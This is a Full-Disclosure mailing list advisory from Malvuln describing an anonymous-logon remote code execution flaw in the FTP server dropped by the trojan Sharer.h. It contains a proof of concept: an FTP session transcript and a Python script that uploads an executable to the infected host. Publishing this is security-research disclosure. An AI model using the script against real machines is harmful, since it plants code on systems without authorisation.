full-disclosure - [FD] Trojan.Win32.Sharer.h / Anonymous Logon RCE

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Message-ID: <CAAHK0WRYhdwUFHn1BE8arSvxB43KkmkbVSNdPTT3PSkd7KEXug@mail.gmail.com>
Date: Sat, 3 Apr 2021 20:56:00 -0400
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Trojan.Win32.Sharer.h / Anonymous Logon RCE

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/9f80c3b1e7f5f6f7d0c8aea25fe83551.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Trojan.Win32.Sharer.h
Vulnerability: Anonymous Logon RCE
Description: Sharer.h by GOLDSWORD - www.daokers.cn can run several types
of services, one is an FTP server named "20CN MINIFTP" TCP port 21. The FTP
server default configuration is username "anonymous" and no password, any
password will allow logon. Attackers may then upload executables using
PASV, STOR commands, this can result in remote code execution. Running this
malware you may get missing "picclp32.ocx" error just run it again and it
should work.
Type: PE32
MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551
Vuln ID: MVID-2021-0158
Dropped files: FtpServer.exe
Disclosure: 04/03/2021

Exploit/PoC:
TELNET x.x.x.x 21

220 ─πY╙╓└┤┴╦!!!

USER anonymous

331 Password required for anonymous

PASS malvuln

230 User successfully logged in.

SYST

215 UNIX emulated by Pablo's FTP Server.

PASV

227 Entering Passive Mode (192,168,88,128,202,32).

STOR DOOM.exe

150 Opening BINARY mode data connection for file transfer.

226 Transfer complete

from socket import *

MALWARE_HOST="192.168.88.128"
PORT=51744                   #202*256+32
DOOM="DOOM.exe"

def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE = f.read()
    s.send(EXE)

    while EXE:
        s.send(EXE)
        EXE=f.read()

    s.close()

    print("Trojan.Win32.Sharer.h / Anonymous Logon RCE")
    print("MD5: 9f80c3b1e7f5f6f7d0c8aea25fe83551")
    print("By Malvuln");

if __name__=="__main__":
    doit()

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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